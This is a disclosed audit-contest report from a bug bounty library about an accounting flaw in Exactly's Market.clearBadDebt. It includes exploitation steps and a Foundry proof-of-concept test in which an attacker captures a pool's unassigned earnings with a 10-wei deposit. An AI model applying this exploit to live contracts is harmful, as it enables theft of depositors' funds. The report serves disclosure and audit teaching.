# Liquidator will leave a pool with unassigned earnings on `Market::clearBadDebt()` free to claim for anyone when the repaid maturity is not the last

In Exactly Market::clearBadDebt, unassigned earnings from a repaid maturity stay claimable when other maturities remain borrowed, letting anyone steal them with a 10-wei deposit.

- Payout: Audit contest
- Severity: medium
- Program: Exactly Stacking Contracts
- Found by: 0x73696d616f
- Disclosed: 2024-07-17
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-07-exactly-stacking-contracts-judging/issues/73
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-07-exactly-stacking-contracts%3AM-11
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:incomplete-fix vuln:accounting-error vuln:business-logic

**Target:** Market.sol clearBadDebt / fixed-rate maturity pools
**Root cause:** clearBadDebt only moves unassigned earnings to the earningsAccumulator when fixedPools[maturity].borrowed == position.principal, but position.principal is always 0 after deletion, so assignment only happens when borrowed hits zero; if other maturities remain borrowed, earnings stay unassigned.
**Steps:**
1. Deposit into Market and borrow at multiple maturities so floatingBackupBorrowed and unassigned earnings exist.
2. Make one borrower's fixed debt exceed collateral (e.g. drop price feed).
3. Call `marketWETH.liquidate(BOB, 100_000 ether, market)` on that maturity; unassigned earnings remain in fixedPools[4 weeks] (45028532887479452).
4. Attacker deposits dust via `marketWETH.depositAtMaturity(4 weeks, 10, 0, attacker)` covering remaining floatingBackupBorrowed.
5. Attacker's fixedDepositPositions fee captures the full unassigned earnings (40525679598731507) for 10 wei principal.
**How found:** Regression from prior audit issue #130 where only a partial fix was applied; reading clearBadDebt revealed the condition compares against position.principal which is zeroed by deletion, so accumulator assignment only triggers on last-maturity repayment.
**Exploitation:** Attacker waits for a liquidation of one maturity while another maturity is still borrowed, then supplies a dust deposit at that maturity to absorb the entire unassigned earnings pool, extracting value with negligible capital.
**Insight:** When auditing partial fixes, check whether the guard condition still holds after state deletion (position.principal zeroed) — a fix that only works in the terminal case leaves value stranded in intermediate states.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test stealing unassigned earnings**

```
function test_POC_ClearBadDebt_StealMaturities() external {
  uint256 maxVal = type(uint256).max;

  marketWETH.deposit(100000 ether, address(this));
  marketWETH.borrowAtMaturity(4 weeks, 10000e18, maxVal, address(this), address(this));
  marketWETH.repayAtMaturity(4 weeks, maxVal, maxVal, address(this));

  vm.startPrank(BOB);
  market.deposit(100 ether, BOB);
  auditor.enterMarket(market);
  marketWETH.borrowAtMaturity(4 weeks, 60e18, maxVal, BOB, BOB);
  vm.stopPrank();

  vm.startPrank(ALICE);
  weth.mint(ALICE, 1_000_000 ether);
  weth.approve(address(marketWETH), type(uint256).max);
  marketWETH.deposit(10, ALICE);
  marketWETH.borrowAtMaturity(4 weeks, 1, maxVal, ALICE, ALICE);
  vm.stopPrank();

  daiPriceFeed.setPrice(0.6e18);

  (uint256 coll, uint256 debt) = marketWETH.accountSnapshot(BOB);
  console.log(debt);
  (coll, debt) = market.accountSnapshot(BOB);
  console.log(coll);

  vm.startPrank(ALICE);
  marketWETH.liquidate(BOB, 100_000 ether, market);
  vm.stopPrank();

  (, , uint256 unassignedEarningsAfter, ) = marketWETH.fixedPools(4 weeks);
  assertEq(unassignedEarningsAfter, 45028532887479452);

  address attacker = makeAddr("attacker");
  vm.startPrank(attacker);
  deal(address(weth), attacker, 10);
  weth.approve(address(marketWETH), 10);
  marketWETH.depositAtMaturity(4 weeks, 10, 0, attacker);
  vm.stopPrank();

  (, , unassignedEarningsAfter, ) = marketWETH.fixedPools(4 weeks);
  assertEq(unassignedEarningsAfter, 0);

  // Attacker gets all the unassigned earnings by contributing only 10 
  (uint256 principal, uint256 fee) = marketWETH.fixedDepositPositions(4 weeks, attacker);
  assertEq(principal, 10);
  assertEq(fee, 40525679598731507);
}
```

